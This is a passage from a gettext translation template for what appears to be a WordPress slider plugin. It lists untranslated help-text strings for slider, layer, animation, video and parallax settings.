admin/includes/help.class.php:10228 msgid "Link Target" msgstr "" #: admin/includes/help.class.php:10355 msgid "Link the Layer to a specific Slide" msgstr "" #: admin/includes/help.class.php:5552 msgid "Link to another Slide in the Slider" msgstr "" #: admin/includes/help.class.php:5549 msgid "Link to Slide" msgstr "" #: admin/includes/help.class.php:5504 admin/includes/help.class.php:10245 msgid "Link Type" msgstr "" #: admin/includes/help.class.php:5517 admin/includes/help.class.php:10211 msgid "Link URL" msgstr "" #: admin/includes/help.class.php:5250 msgid "" "Load the images in their original size or in the size defined in the Slider " "Settings" msgstr "" #: admin/includes/help.class.php:2894 msgid "Load the Slider's JS files in the page's body to help resolve conflicts" msgstr "" #: admin/includes/help.class.php:5853 msgid "Loop all or part of the current Slide's timeline" msgstr "" #: admin/includes/help.class.php:8725 msgid "Loop all or part of the Layer's timeline animation" msgstr "" #: admin/includes/help.class.php:8751 msgid "Loop End Frame" msgstr "" #: admin/includes/help.class.php:8722 msgid "Loop Layer's Timeline" msgstr "" #: admin/includes/help.class.php:1863 msgid "Loop Single Slide" msgstr "" #: admin/includes/help.class.php:8735 msgid "Loop Start Frame" msgstr "" #: admin/includes/help.class.php:5089 msgid "Loop Video" msgstr "" #: admin/includes/help.class.php:6164 msgid "Loop Video/Audio" msgstr "" #: admin/includes/help.class.php:9091 msgid "" "Magnify the curve by this value. 1 = no magnification. 2 = twice the curve," " etc." msgstr "" #: admin/includes/help.class.php:4792 msgid "Main Slide Background" msgstr "" #: admin/includes/help.class.php:399 admin/includes/help.class.php:6871 msgid "Margin Bottom" msgstr "" #: admin/includes/help.class.php:6884 msgid "Margin Left" msgstr "" #: admin/includes/help.class.php:6858 msgid "Margin Right" msgstr "" #: admin/includes/help.class.php:391 admin/includes/help.class.php:6845 msgid "Margin Top" msgstr "" #: admin/includes/help.class.php:9709 msgid "" "Mask the current Layer before applying hover styles/effects. Useful for " "movements and scale/zooms." msgstr "" #: admin/includes/help.class.php:7938 msgid "Mask X Position" msgstr "" #: admin/includes/help.class.php:7955 msgid "Mask Y Position" msgstr "" #: admin/includes/help.class.php:7574 msgid "Mask your content with diagonal slice from the left side" msgstr "" #: admin/includes/help.class.php:7587 msgid "Mask your content with diagonal slice from the right side" msgstr "" #: admin/includes/help.class.php:9706 msgid "Masking" msgstr "" #: admin/includes/help.class.php:5823 msgid "Max Characters" msgstr "" #: admin/includes/help.class.php:333 msgid "Max Height" msgstr "" #: admin/includes/help.class.php:851 msgid "Max Posts" msgstr "" #: admin/includes/help.class.php:2101 msgid "Max Visible Slides" msgstr "" #: admin/includes/help.class.php:317 msgid "Max Width" msgstr "" #: admin/includes/help.class.php:7232 msgid "Maximum Height" msgstr "" #: admin/includes/help.class.php:7206 msgid "Maximum Width" msgstr "" #: admin/includes/help.class.php:325 msgid "Min Height" msgstr "" #: admin/includes/help.class.php:4705 msgid "Min. Fingers" msgstr "" #: admin/includes/help.class.php:7219 msgid "Minimum Height" msgstr "" #: admin/includes/help.class.php:3874 admin/includes/help.class.php:4355 #: admin/includes/help.class.php:7193 msgid "Minimum Width" msgstr "" #: admin/includes/help.class.php:2943 msgid "Modal Horizontal Alignment" msgstr "" #: admin/includes/help.class.php:2951 msgid "Modal Vertical Alignment" msgstr "" #: admin/includes/help.class.php:76 msgid "Modify font size and layer position per device" msgstr "" #: admin/includes/help.class.php:5223 msgid "Module Admin Thumbnail" msgstr "" #: admin/includes/help.class.php:620 msgid "Module BG Color" msgstr "" #: admin/includes/help.class.php:2989 msgid "Module Shortcode" msgstr "" #: admin/includes/help.class.php:9651 msgid "Mouse Hover" msgstr "" #: admin/includes/help.class.php:2439 msgid "Mouse Speed" msgstr "" #: admin/includes/help.class.php:5141 admin/includes/help.class.php:6371 msgid "Mute at Start" msgstr "" #: admin/includes/help.class.php:10582 msgid "" "Mute or Unmute the sound from a video or audio Layer on user-interaction" msgstr "" #: admin/includes/help.class.php:10579 msgid "Mute/Unmute Media" msgstr "" #: admin/includes/help.class.php:19 msgid "Navigation" msgstr "" #: admin/includes/help.class.php:5235 msgid "Navigation Thumbnail" msgstr "" #: admin/includes/help.class.php:5115 admin/includes/help.class.php:6285 msgid "Next Slide at End" msgstr "" #: admin/includes/help.class.php:2055 msgid "Next Slide on Focus" msgstr "" #: admin/includes/help.class.php:10369 msgid "Next/Previous Slide" msgstr "" #: admin/includes/help.class.php:6312 msgid "No Interaction" msgstr "" #: admin/includes/help.class.php:6231 msgid "No Poster on Mobile" msgstr "" #: admin/includes/help.class.php:8767 msgid "Num Loops" msgstr "" #: admin/includes/help.class.php:3824 msgid "Num. Tabs" msgstr "" #: admin/includes/help.class.php:4305 msgid "Num. Thumbs" msgstr "" #: admin/includes/help.class.php:409 msgid "Offset Container" msgstr "" #: admin/includes/help.class.php:422 msgid "Offset px/%" msgstr "" #: admin/includes/help.class.php:3131 msgid "" "Offset the Arrow's horizontal position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:3147 msgid "" "Offset the Arrow's vertical position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:3446 msgid "" "Offset the Bullet's horizontal position by this amount. Accepts positive " "and negative values." msgstr "" #: admin/includes/help.class.php:3462 msgid "" "Offset the Bullet's vertical position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:7117 msgid "" "Offset the Layer's horizontal position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:7130 msgid "" "Offset the Layer's vertical position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:3795 msgid "" "Offset the Tab's horizontal position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:3811 msgid "" "Offset the Tab's vertical position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:4276 msgid "" "Offset the Thumb's horizontal position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:4292 msgid "" "Offset the Thumb's vertical position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:2801 msgid "Offset Tilt" msgstr "" #: admin/includes/help.class.php:3128 admin/includes/help.class.php:3443 #: admin/includes/help.class.php:3792 admin/includes/help.class.php:4273 #: admin/includes/help.class.php:7114 admin/includes/help.class.php:7329 #: admin/includes/help.class.php:7409 msgid "Offset X" msgstr "" #: admin/includes/help.class.php:3144 admin/includes/help.class.php:3459 #: admin/includes/help.class.php:3808 admin/includes/help.class.php:4289 #: admin/includes/help.class.php:7127 admin/includes/help.class.php:7342 #: admin/includes/help.class.php:7422 msgid "Offset Y" msgstr "" #: admin/includes/help.class.php:1795 msgid "Only initialize the Slider when the Slider is inside the page's view" msgstr "" #: admin/includes/help.class.php:6244 msgid "Only Poster on Mobile" msgstr "" #: admin/includes/help.class.php:954 msgid "Only pull in products that are marked as 'Featured'" msgstr "" #: admin/includes/help.class.php:941 msgid "Only pull in products that are marked as 'In Stock'" msgstr "" #: admin/includes/help.class.php:6234 msgid "Only show a video preview image on desktop computers" msgstr "" #: admin/includes/help.class.php:6247 msgid "Only show a video preview image on mobile devices" msgstr "" #: admin/includes/help.class.php:10802 msgid "Only show the Layer when the user hovers their mouse over the Slider" msgstr "" #: admin/includes/help.class.php:1932 msgid "" "Only start the Slider when the JavaScript API's 'revstart()' method is called" msgstr "" #: admin/includes/help.class.php:7288 admin/includes/help.class.php:7721 #: admin/includes/help.class.php:8235 admin/includes/help.class.php:9772 msgid "Opacity" msgstr "" #: admin/includes/help.class.php:9527 msgid "Opacity End" msgstr "" #: admin/includes/help.class.php:9510 msgid "Opacity Start" msgstr "" #: admin/includes/help.class.php:27 msgid "Option" msgstr "" #: admin/includes/help.class.php:5479 msgid "" "Optional data-attributes that can be added to the Slide to target it with " "custom CSS or JavaScript" msgstr "" #: admin/includes/help.class.php:5209 admin/includes/help.class.php:6443 msgid "" "Optional iFrame arguments for YouTube and Vimeo" msgstr "" #: admin/includes/help.class.php:336 msgid "Optional maximum height for the Slider" msgstr "" #: admin/includes/help.class.php:320 msgid "Optional maximum width for the Slider" msgstr "" #: admin/includes/help.class.php:328 msgid "Optional minimum height for the Slider" msgstr "" #: admin/includes/help.class.php:5953 msgid "Optional placeholder attribute for the Layer's wrapper" msgstr "" #: admin/includes/help.class.php:5170 admin/includes/help.class.php:6400 msgid "Optional playback speed for the video" msgstr "" #: admin/includes/help.class.php:3163 msgid "" "Optionally animate the arrows into and out of view when the slider first " "loads and on mouse hover" msgstr "" #: admin/includes/help.class.php:3496 msgid "" "Optionally animate the bullets into and out of view when the slider first " "loads and on mouse hover" msgstr "" #: admin/includes/help.class.php:3977 msgid "" "Optionally animate the tabs into and out of view when the slider first loads " "and on mouse hover" msgstr "" #: admin/includes/help.class.php:4458 msgid "" "Optionally animate the thumbs into and out of view when the slider first " "loads and on mouse hover" msgstr "" #: admin/includes/help.class.php:28 admin/includes/help.class.php:30 msgid "Options" msgstr "" #: admin/includes/help.class.php:3395 admin/includes/help.class.php:3728 #: admin/includes/help.class.php:4209 msgid "Orientation" msgstr "" #: admin/includes/help.class.php:2899 msgid "Output Filter Protection" msgstr "" #: admin/includes/help.class.php:630 msgid "Overlay" msgstr "" #: admin/includes/help.class.php:3924 admin/includes/help.class.php:4405 msgid "Padding" msgstr "" #: admin/includes/help.class.php:2166 admin/includes/help.class.php:6925 msgid "Padding Bottom" msgstr "" #: admin/includes/help.class.php:6938 msgid "Padding Left" msgstr "" #: admin/includes/help.class.php:6912 msgid "Padding Right" msgstr "" #: admin/includes/help.class.php:2153 admin/includes/help.class.php:6899 msgid "Padding Top" msgstr "" #: admin/includes/help.class.php:1297 admin/includes/help.class.php:1478 msgid "Page URL" msgstr "" #: admin/includes/help.class.php:2577 msgid "Parallax Depths" msgstr "" #: admin/includes/help.class.php:2721 msgid "Parallax Layers" msgstr "" #: admin/includes/help.class.php:4892 admin/includes/help.class.php:5899 #: admin/includes/help.class.php:10112 msgid "Parallax Level" msgstr "" #: admin/includes/help.class.php:10125 msgid "Parallax Masking" msgstr "" #: admin/includes/help.class.php:2431 msgid "Parallax Origin" msgstr "" #: admin/includes/help.class.php:5811 msgid "Parameter Value" msgstr "" #: admin/includes/help.class.php:10389 msgid "Pause or Resume the Slider's progress on user-interaction" msgstr "" #: admin/includes/help.class.php:5361 msgid "Pause Slider" msgstr "" #: admin/includes/help.class.php:5364 msgid "Pause the Slider from changing Slides when this Slide is shown" msgstr "" #: admin/includes/help.class.php:1853 msgid "Pause the Slider's progress when the user hover's their mouse over it" msgstr "" #: admin/includes/help.class.php:10386 msgid "Pause/Play Slider" msgstr "" #: admin/includes/help.class.php:530 msgid "Phone Viewport" msgstr "" #: admin/includes/help.class.php:1035 msgid "Photoset" msgstr "" #: admin/includes/help.class.php:255 msgid "" "Place the shortcode on the page or post where you want to show this module" msgstr "" #: admin/includes/help.class.php:5950 msgid "Placeholder" msgstr "" #: admin/includes/help.class.php:10425 msgid "Play a Layer's animation on-demand to show or hide the Layer" msgstr "" #: admin/includes/help.class.php:10548 msgid "Play or pause Video or Audio on user-interaction" msgstr "" #: admin/includes/help.class.php:10545 msgid "Play/Pause Media" msgstr "" #: admin/includes/help.class.php:10406 msgid "Play/Pause the Slider on user-interaction" msgstr "" #: admin/includes/help.class.php:1434 msgid "Playlist" msgstr "" #: admin/includes/help.class.php:9693 msgid "Pointer Events" msgstr "" #: admin/includes/help.class.php:715 msgid "Populate the Slider from a Facebook album or timeline" msgstr "" #: admin/includes/help.class.php:706 msgid "Populate the Slider from a Twitter account" msgstr "" #: admin/includes/help.class.php:733 msgid "Populate the Slider with a Vimeo account's content" msgstr "" #: admin/includes/help.class.php:724 msgid "Populate the Slider with a YouTube Channel or Playlist" msgstr "" #: admin/includes/help.class.php:697 msgid "Populate the Slider with Instagram Images" msgstr "" #: admin/includes/help.class.php:688 msgid "Populate the Slider with your Flickr Content" msgstr "" #: admin/includes/help.class.php:679 msgid "Populate the Slider with your WooCommerce Products" msgstr "" #: admin/includes/help.class.php:670 msgid "Populate the Slider with your WordPress post content" msgstr "" #: admin/includes/help.class.php:7941 msgid "Position the mask horizontally. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:7958 msgid "Position the mask vertically. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:667 msgid "Post Based" msgstr "" #: admin/includes/help.class.php:786 msgid "Post Categories" msgstr "" #: admin/includes/help.class.php:741 msgid "Post Options Type" msgstr "" #: admin/includes/help.class.php:770 msgid "Post Types" msgstr "" #: admin/includes/help.class.php:6192 msgid "Poster from Stream" msgstr "" #: admin/includes/help.class.php:6205 msgid "Poster URL" msgstr "" #: admin/includes/help.class.php:6108 msgid "Preload" msgstr "" #: admin/includes/help.class.php:6124 msgid "Preload Delay" msgstr "" #: admin/includes/help.class.php:1826 msgid "Preset Slider Height" msgstr "" #: admin/includes/help.class.php:4638 msgid "Preview Image Height" msgstr "" #: admin/includes/help.class.php:4625 msgid "Preview Image Width" msgstr "" #: admin/includes/help.class.php:3015 msgid "Progress Bar Color" msgstr "" #: admin/includes/help.class.php:3047 msgid "Progress Bar Height" msgstr "" #: admin/includes/help.class.php:3031 msgid "Progress Bar Position" msgstr "" #: admin/includes/help.class.php:5437 msgid "Publish End Date" msgstr "" #: admin/includes/help.class.php:5425 msgid "Publish Start Date" msgstr "" #: admin/includes/help.class.php:5413 msgid "Published Status" msgstr "" #: admin/includes/help.class.php:902 msgid "Pull in products with a regular price equal to or below this number" msgstr "" #: admin/includes/help.class.php:928 msgid "Pull in products with a sale price equal to or below this number" msgstr "" #: admin/includes/help.class.php:889 msgid "Pull in products with this minimum price" msgstr "" #: admin/includes/help.class.php:915 msgid "Pull in products with this minimum sale price" msgstr "" #: admin/includes/help.class.php:2891 msgid "Put JS to Body" msgstr "" #: admin/includes/help.class.php:1916 msgid "Random Order" msgstr "" #: admin/includes/help.class.php:1919 msgid "Randomize the Slide order each time the Slider is viewed" msgstr "" #: admin/includes/help.class.php:1191 msgid "Re-Tweets" msgstr "" #: admin/includes/help.class.php:886 msgid "Reg. Price From" msgstr "" #: admin/includes/help.class.php:899 msgid "Reg. Price To" msgstr "" #: admin/includes/help.class.php:5389 msgid "Remove the Slide from the Slide stack after a set amount of loops" msgstr "" #: admin/includes/help.class.php:1204 msgid "Replies" msgstr "" #: admin/includes/help.class.php:5264 msgid "" "Represents a transition for the current Slide's main background when the " "Slides change" msgstr "" #: admin/includes/help.class.php:9073 msgid "" "Represents the curve's placement in the animation. Lower degrees will place " "the curve toward the beginning, and higher degrees toward the end." msgstr "" #: admin/includes/help.class.php:9127 msgid "Represents the ending 'x' (left) position for the bezier curve" msgstr "" #: admin/includes/help.class.php:9163 msgid "Represents the ending 'y' (top) position for the bezier curve" msgstr "" #: admin/includes/help.class.php:9199 msgid "Represents the ending 'z' (3D depth) position for the bezier curve" msgstr "" #: admin/includes/help.class.php:9109 msgid "Represents the starting 'x' (left) position for the bezier curve" msgstr "" #: admin/includes/help.class.php:9145 msgid "Represents the starting 'y' (top) position for the bezier curve" msgstr "" #: admin/includes/help.class.php:9181 msgid "Represents the starting 'z' (3D depth) position for the bezier curve" msgstr "" #: admin/includes/help.class.php:9667 msgid "Reset all hover styles to the Layer's default idle/static styles" msgstr "" #: admin/includes/help.class.php:10680 msgid "Reset from Desktop" msgstr "" #: admin/includes/help.class.php:9664 msgid "Reset Styles" msgstr "" #: admin/includes/help.class.php:10683 msgid "" "Reset the size/position of all Layers to their desktop values for each " "viewport inside the editor" msgstr "" #: admin/includes/help.class.php:10693 msgid "Resize Between Devices" msgstr "" #: admin/includes/help.class.php:349 msgid "Respect Aspect Ratio" msgstr "" #: admin/includes/help.class.php:84 msgid "Responsive alignment and positioning" msgstr "" #: admin/includes/help.class.php:1614 msgid "Responsive Between Devices" msgstr "" #: admin/includes/help.class.php:1630 admin/includes/help.class.php:10719 msgid "Responsive Children" msgstr "" #: admin/includes/help.class.php:65 msgid "Responsive Grid Sizes" msgstr "" #: admin/includes/help.class.php:1622 admin/includes/help.class.php:10706 msgid "Responsive Offsets" msgstr "" #: admin/includes/help.class.php:97 msgid "Responsive Text/Images" msgstr "" #: admin/includes/help.class.php:5092 msgid "Restart the video every time it ends" msgstr "" #: admin/includes/help.class.php:6167 msgid "Restart the video/audio every time it ends" msgstr "" #: admin/includes/help.class.php:4774 msgid "Reverse Scroll" msgstr "" #: admin/includes/help.class.php:9496 msgid "" "Reverse the animated filters as soon as the animation ends and vice versa" msgstr "" #: admin/includes/help.class.php:8917 msgid "Reverse the position as soon as the animation ends and vice versa" msgstr "" #: admin/includes/help.class.php:9375 msgid "Reverse the rotation as soon as the animation ends and vice versa" msgstr "" #: admin/includes/help.class.php:9220 msgid "Reverse the scaling as soon as the animation ends and vice versa" msgstr "" #: admin/includes/help.class.php:5128 admin/includes/help.class.php:6298 msgid "Rewind at Start" msgstr "" #: admin/includes/help.class.php:7584 msgid "Right Corner" msgstr "" #: admin/includes/help.class.php:7553 msgid "Right Spike Width" msgstr "" #: admin/includes/help.class.php:3178 admin/includes/help.class.php:3477 #: admin/includes/help.class.php:3958 admin/includes/help.class.php:4439 msgid "Right to Left" msgstr "" #: admin/includes/help.class.php:1753 admin/includes/help.class.php:5728 msgid "Rotate End" msgstr "" #: admin/includes/help.class.php:1742 admin/includes/help.class.php:5712 msgid "Rotate Start" msgstr "" #: admin/includes/help.class.php:7844 admin/includes/help.class.php:8379 msgid "" "Rotate the Layer on its 'x' axis by this amount for the selected animation " "frame. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:9841 msgid "" "Rotate the Layer on its 'x' axis by this amount on mouse hover. Accepts " "positive and negative values." msgstr "" #: admin/includes/help.class.php:7857 admin/includes/help.class.php:8396 msgid "" "Rotate the Layer on its 'y' axis by this amount for the selected animation " "frame. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:9854 msgid "" "Rotate the Layer on its 'y' axis by this amount on mouse hover. Accepts " "positive and negative values." msgstr "" #: admin/includes/help.class.php:7841 admin/includes/help.class.php:8376 #: admin/includes/help.class.php:9838 msgid "rotateX" msgstr "" #: admin/includes/help.class.php:7854 admin/includes/help.class.php:8393 #: admin/includes/help.class.php:9851 msgid "rotateY" msgstr "" #: admin/includes/help.class.php:5321 msgid "Rotation" msgstr "" #: admin/includes/help.class.php:2279 msgid "Rotation Degrees" msgstr "" #: admin/includes/help.class.php:7249 msgid "Rotation X" msgstr "" #: admin/includes/help.class.php:7262 msgid "Rotation Y" msgstr "" #: admin/includes/help.class.php:7275 msgid "Rotation Z" msgstr "" #: admin/includes/help.class.php:6484 msgid "Row Position" msgstr "" #: admin/includes/help.class.php:912 msgid "Sale Price From" msgstr "" #: admin/includes/help.class.php:925 msgid "Sale Price To" msgstr "" #: admin/includes/help.class.php:2325 msgid "Scale Percentage" msgstr "" #: admin/includes/help.class.php:8326 msgid "" "Scale the char/word/line height by this amount for the selected animation " "frame" msgstr "" #: admin/includes/help.class.php:8309 msgid "" "Scale the char/word/line width by this amount for the selected animation " "frame" msgstr "" #: admin/includes/help.class.php:7805 msgid "" "Scale the Layer's height by this amount for the selected animation frame" msgstr "" #: admin/includes/help.class.php:9802 msgid "Scale the Layer's height by this amount on mouse hover" msgstr "" #: admin/includes/help.class.php:7792 msgid "Scale the Layer's width by this amount for the selected animation frame" msgstr "" #: admin/includes/help.class.php:9789 msgid "Scale the Layer's width by this amount on mouse hover" msgstr "" #: admin/includes/help.class.php:7789 admin/includes/help.class.php:8306 #: admin/includes/help.class.php:9786 msgid "scaleX" msgstr "" #: admin/includes/help.class.php:7802 admin/includes/help.class.php:8323 #: admin/includes/help.class.php:9799 msgid "scaleY" msgstr "" #: admin/includes/help.class.php:2775 msgid "Scroll Direction" msgstr "" #: admin/includes/help.class.php:10332 msgid "Scroll Duration" msgstr "" #: admin/includes/help.class.php:10315 msgid "Scroll Easing" msgstr "" #: admin/includes/help.class.php:2643 msgid "Scroll Effects" msgstr "" #: admin/includes/help.class.php:10298 msgid "Scroll Offset" msgstr "" #: admin/includes/help.class.php:870 msgid "Se a character limit if the post's excerpt is included in the Slide" msgstr "" #: admin/includes/help.class.php:16 msgid "Search for an Option" msgstr "" #: admin/includes/help.class.php:31 msgid "Search Keywords, e.g. \"Background\"" msgstr "" #: admin/includes/help.class.php:1038 msgid "Select the photo album you wish to include from the Flickr account" msgstr "" #: admin/includes/help.class.php:6781 msgid "Set a background color for the Layer" msgstr "" #: admin/includes/help.class.php:6794 msgid "Set a background image for the Layer" msgstr "" #: admin/includes/help.class.php:623 msgid "Set a global background color for the Slider" msgstr "" #: admin/includes/help.class.php:562 msgid "Set a global background image for the Slider" msgstr "" #: admin/includes/help.class.php:144 msgid "Set a Layer's Main background to a color, image or video" msgstr "" #: admin/includes/help.class.php:5226 msgid "Set a special thumbnail for editor admin purposes only" msgstr "" #: admin/includes/help.class.php:5428 msgid "" "Set a starting date for when the Slide should officially be included in the " "Slider" msgstr "" #: admin/includes/help.class.php:5440 msgid "" "Set an end date for when the Slide should officially be excluded from the " "Slider" msgstr "" #: admin/includes/help.class.php:7652 msgid "Set as Editor View" msgstr "" #: admin/includes/help.class.php:5157 msgid "Set the default volume for the video" msgstr "" #: admin/includes/help.class.php:136 msgid "Set the Module's Main background to a color, image or video" msgstr "" #: admin/includes/help.class.php:7655 msgid "" "Set the selected animation point as the default view when editing your " "content" msgstr "" #: admin/includes/help.class.php:128 admin/includes/help.class.php:4795 #: admin/includes/help.class.php:4803 msgid "Set the Slide's Main background to a color, image or video" msgstr "" #: admin/includes/help.class.php:239 msgid "Set the title of the Slider for admin/editing purposes" msgstr "" #: admin/includes/help.class.php:141 msgid "Set/Change Layer Background" msgstr "" #: admin/includes/help.class.php:133 msgid "Set/Change Module Background" msgstr "" #: admin/includes/help.class.php:125 msgid "Set/Change Slide Background" msgstr "" #: admin/includes/help.class.php:5994 msgid "Set/change the image for the Layer" msgstr "" #: admin/includes/help.class.php:6208 msgid "Set/remove the video's preview image for the video" msgstr "" #: admin/includes/help.class.php:22 msgid "Settings" msgstr "" #: admin/includes/help.class.php:638 msgid "Shadow" msgstr "" #: admin/includes/help.class.php:7381 admin/includes/help.class.php:7448 msgid "Shadow Color" msgstr "" #: admin/includes/help.class.php:2865 msgid "Show a simple image instead of the Slider on mobile, IE8 or both" msgstr "" #: admin/includes/help.class.php:1987 msgid "Show a specific Slide first when the Slider first loads" msgstr "" #: admin/includes/help.class.php:7476 msgid "Show in Editor Preview" msgstr "" #: admin/includes/help.class.php:10799 msgid "Show on Mouse Over" msgstr "" #: admin/includes/help.class.php:26 msgid "Show Option" msgstr "" #: admin/includes/help.class.php:10737 msgid "Show or hide the Layer for the desktop viewport" msgstr "" #: admin/includes/help.class.php:10750 msgid "Show or hide the Layer for the laptop viewport" msgstr "" #: admin/includes/help.class.php:10776 msgid "Show or hide the Layer for the phone viewport" msgstr "" #: admin/includes/help.class.php:10763 msgid "Show or hide the Layer for the tablet viewport" msgstr "" #: admin/includes/help.class.php:6218 msgid "Show Poster on Video Pause" msgstr "" #: admin/includes/help.class.php:1995 msgid "Show slide number 'x' first when the Slider first loads" msgstr "" #: admin/includes/help.class.php:7479 msgid "" "Show the blend-mode both live in the Slider and also in the admin editing " "stage" msgstr "" #: admin/includes/help.class.php:5377 msgid "" "Show the Slide in the Slider's main navigation, or make the Slide 'hidden' " "so it can only be shown from a Layer Action click" msgstr "" #: admin/includes/help.class.php:6221 msgid "" "Show the video's preview image whenever the video is paused by the user or " "on a Slide change" msgstr "" #: admin/includes/help.class.php:10734 msgid "Show/Hide on Desktop" msgstr "" #: admin/includes/help.class.php:10747 msgid "Show/Hide on Laptop" msgstr "" #: admin/includes/help.class.php:10773 msgid "Show/Hide on Phone" msgstr "" #: admin/includes/help.class.php:10760 msgid "Show/Hide on Tablet" msgstr "" #: admin/includes/help.class.php:2856 msgid "Simplify Animations for better compatibility with IOS4/IE8" msgstr "" #: admin/includes/help.class.php:2853 msgid "Simplify on IOS4/IE8" msgstr "" #: admin/includes/help.class.php:10456 msgid "Simulate Click" msgstr "" #: admin/includes/help.class.php:7166 msgid "Size Presets" msgstr "" #: admin/includes/help.class.php:294 msgid "Size will adapt to the same size as the web page's content" msgstr "" #: admin/includes/help.class.php:7818 admin/includes/help.class.php:8343 msgid "" "Skew/distort the Layer horizontally by this amount for the selected " "animation frame. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:9815 msgid "" "Skew/distort the Layer horizontally by this amount on mouse hover. Accepts " "positive and negative values." msgstr "" #: admin/includes/help.class.php:7831 admin/includes/help.class.php:8360 msgid "" "Skew/distort the Layer vertically by this amount for the selected animation " "frame. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:9828 msgid "" "Skew/distort the Layer vertically by this amount on mouse hover. Accepts " "positive and negative values." msgstr "" #: admin/includes/help.class.php:7815 admin/includes/help.class.php:8340 #: admin/includes/help.class.php:9812 msgid "skewX" msgstr "" #: admin/includes/help.class.php:7828 admin/includes/help.class.php:8357 #: admin/includes/help.class.php:9825 msgid "skewY" msgstr "" #: admin/includes/help.class.php:6127 msgid "Skip the preloading of HTML5 Audio by a set amount of seconds" msgstr "" #: admin/includes/help.class.php:20 msgid "Slide" msgstr "" #: admin/includes/help.class.php:175 msgid "Slide Animations" msgstr "" #: admin/includes/help.class.php:2734 msgid "Slide Background" msgstr "" #: admin/includes/help.class.php:4800 msgid "Slide Background Color" msgstr "" #: admin/includes/help.class.php:2512 msgid "Slide BG Overflow Hidden" msgstr "" #: admin/includes/help.class.php:5452 msgid "Slide Classes" msgstr "" #: admin/includes/help.class.php:5814 msgid "Slide data that can be used for navigation text/data" msgstr "" #: admin/includes/help.class.php:1531 msgid "Slide Duration" msgstr "" #: admin/includes/help.class.php:5464 msgid "Slide ID" msgstr "" #: admin/includes/help.class.php:5884 msgid "Slide Loop End" msgstr "" #: admin/includes/help.class.php:5858 msgid "Slide Loop Repeat" msgstr "" #: admin/includes/help.class.php:5871 msgid "Slide Loop Start" msgstr "" #: admin/includes/help.class.php:5850 msgid "Slide Looping" msgstr "" #: admin/includes/help.class.php:5349 msgid "Slide Time/Length" msgstr "" #: admin/includes/help.class.php:1992 msgid "Slide to Show First" msgstr "" #: admin/includes/help.class.php:5261 msgid "Slide Transition" msgstr "" #: admin/includes/help.class.php:18 msgid "Slider" msgstr "" #: admin/includes/help.class.php:244 msgid "Slider Alias" msgstr "" #: admin/includes/help.class.php:383 msgid "Slider Alignment" msgstr "" #: admin/includes/help.class.php:2933 msgid "Slider API" msgstr "" #: admin/includes/help.class.php:1515 msgid "Slider Classes" msgstr "" #: admin/includes/help.class.php:1507 msgid "Slider ID" msgstr "" #: admin/includes/help.class.php:2936 msgid "Slider Revolution API methods and events" msgstr "" #: admin/includes/help.class.php:252 msgid "Slider Shortcode" msgstr "" #: admin/includes/help.class.php:236 msgid "Slider Title" msgstr "" #: admin/includes/help.class.php:2117 msgid "" "Slides will always appear as full width, resulting in one Slide being " "visible at a time" msgstr "" #: admin/includes/help.class.php:2078 msgid "Slides will continuously appear from either side when the Slides change" msgstr "" #: admin/includes/help.class.php:2040 msgid "Slot Amount" msgstr "" #: admin/includes/help.class.php:5309 msgid "Slots/Boxes" msgstr "" #: admin/includes/help.class.php:835 msgid "Sort Direction" msgstr "" #: admin/includes/help.class.php:819 msgid "Sort Posts By" msgstr "" #: admin/includes/help.class.php:838 msgid "Sort the posts in ascending or descending order" msgstr "" #: admin/includes/help.class.php:1311 admin/includes/help.class.php:1421 msgid "Source" msgstr "" #: admin/includes/help.class.php:4840 msgid "Source Size" msgstr "" #: admin/includes/help.class.php:3842 admin/includes/help.class.php:4323 msgid "Spacing" msgstr "" #: admin/includes/help.class.php:3940 admin/includes/help.class.php:4421 msgid "Span/Full-Width" msgstr "" #: admin/includes/help.class.php:8705 msgid "Special Effects" msgstr "" #: admin/includes/help.class.php:802 msgid "Specific Posts" msgstr "" #: admin/includes/help.class.php:2220 msgid "Speed" msgstr "" #: admin/includes/help.class.php:2361 msgid "Spinner / Preloader" msgstr "" #: admin/includes/help.class.php:2369 msgid "Spinner Color" msgstr "" #: admin/includes/help.class.php:8201 msgid "Split Delay" msgstr "" #: admin/includes/help.class.php:8184 msgid "Split Direction" msgstr "" #: admin/includes/help.class.php:7368 msgid "Spread" msgstr "" #: admin/includes/help.class.php:264 msgid "Standard Slider" msgstr "" #: admin/includes/help.class.php:10422 msgid "Start Layer In/Out Animation" msgstr "" #: admin/includes/help.class.php:1696 admin/includes/help.class.php:5646 msgid "Start Position X" msgstr "" #: admin/includes/help.class.php:1718 admin/includes/help.class.php:5678 msgid "Start Position Y" msgstr "" #: admin/includes/help.class.php:9457 msgid "Start rotate2D" msgstr "" #: admin/includes/help.class.php:9389 msgid "Start rotateX" msgstr "" #: admin/includes/help.class.php:9423 msgid "Start rotateY" msgstr "" #: admin/includes/help.class.php:9234 msgid "Start scaleX" msgstr "" #: admin/includes/help.class.php:9268 msgid "Start scaleY" msgstr "" #: admin/includes/help.class.php:9302 msgid "Start skewX" msgstr "" #: admin/includes/help.class.php:9336 msgid "Start skewY" msgstr "" #: admin/includes/help.class.php:5183 admin/includes/help.class.php:6416 msgid "Start the video at this time (minutes:seconds, such as 01:30)" msgstr "" #: admin/includes/help.class.php:5180 admin/includes/help.class.php:6413 #: admin/includes/help.class.php:8815 msgid "Start Time" msgstr "" #: admin/includes/help.class.php:8931 msgid "Start X Position" msgstr "" #: admin/includes/help.class.php:8965 msgid "Start Y Position" msgstr "" #: admin/includes/help.class.php:8999 msgid "Start Z Position" msgstr "" #: admin/includes/help.class.php:186 msgid "Start/End animation timing and easing" msgstr "" #: admin/includes/help.class.php:7600 msgid "Start/In Animation: From" msgstr "" 